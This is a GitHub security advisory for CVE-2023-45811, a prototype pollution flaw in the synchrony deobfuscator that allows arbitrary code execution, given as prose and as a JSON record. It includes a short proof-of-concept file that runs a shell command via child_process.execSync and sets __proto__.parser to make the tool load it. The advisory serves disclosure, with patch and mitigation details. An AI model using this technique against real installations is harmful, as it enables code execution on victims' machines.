GHSA-JG82-XH3W-RHXX
Vulnerability from github – Published: 2023-10-18 18:27 – Updated: 2025-07-22 15:37
VLAI?
Summary
Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution
Details
Impact
A __proto__ pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.
Summary
A __proto__ pollution vulnerability exists in the LiteralMap transformer allowing crafted input to modify properties in the Object prototype.
When executing in Node.js, due to use of the prettier module, defining a parser property on __proto__ with a path to a JS module on disk causes a require of the value which can lead to arbitrary code execution.
Patch
A fix has been released in deobfuscator@2.4.4.
Mitigation
- Upgrade synchrony to v2.4.4
- Launch node with the --disable-proto=delete or --disable-proto=throw flag
Proof of Concept
Craft a malicious input file named poc.js as follows:
// Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console.
console.log(require('child_process').execSync('dir').toString())
// Synchrony exploit PoC
{
var __proto__ = { parser: 'poc.js' }
}
Then, run synchrony poc.js from the same directory as the malicious file.
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
Severity ?
7.8 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "deobfuscator"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.1"
},
{
"fixed": "2.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-45811"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-18T18:27:13Z",
"nvd_published_at": "2023-10-17T23:15:12Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA `__proto__` pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.\n\n### Summary\n\nA `__proto__` pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.\n\nWhen executing in Node.js, due to use of the `prettier` module, defining a `parser` property on `__proto__` with a path to a JS module on disk [causes a `require` of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution.\n\n### Patch\n\nA fix has been released in `deobfuscator@2.4.4`.\n\n### Mitigation\n\n- Upgrade synchrony to v2.4.4\n- Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag\n\n### Proof of Concept\n\nCraft a malicious input file named `poc.js` as follows:\n\n```js\n// Malicious code to be run after this file is imported. Logs the result of shell command \"dir\" to the console.\nconsole.log(require(\u0027child_process\u0027).execSync(\u0027dir\u0027).toString())\n\n// Synchrony exploit PoC\n{\n var __proto__ = { parser: \u0027poc.js\u0027 }\n}\n```\n\nThen, run `synchrony poc.js` from the same directory as the malicious file.\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast].\n\n[LiteralMap]: src/transformers/literalmap.ts\n[SteakEnthusiast]: https://github.com/SteakEnthusiast\n[disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode\n[prettier/src/main/parser.js]: https://github.com/prettier/prettier/blob/2.5.1/src/main/parser.js#L53-L63",
"id": "GHSA-jg82-xh3w-rhxx",
"modified": "2025-07-22T15:37:30Z",
"published": "2023-10-18T18:27:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/relative/synchrony/security/advisories/GHSA-jg82-xh3w-rhxx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45811"
},
{
"type": "WEB",
"url": "https://github.com/relative/synchrony/commit/b583126be94c4db7c5a478f1c5204bfb4162cf40"
},
{
"type": "PACKAGE",
"url": "https://github.com/relative/synchrony"
},
{
"type": "WEB",
"url": "https://github.com/relative/synchrony/security/advisories/src/transformers/literalmap.ts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…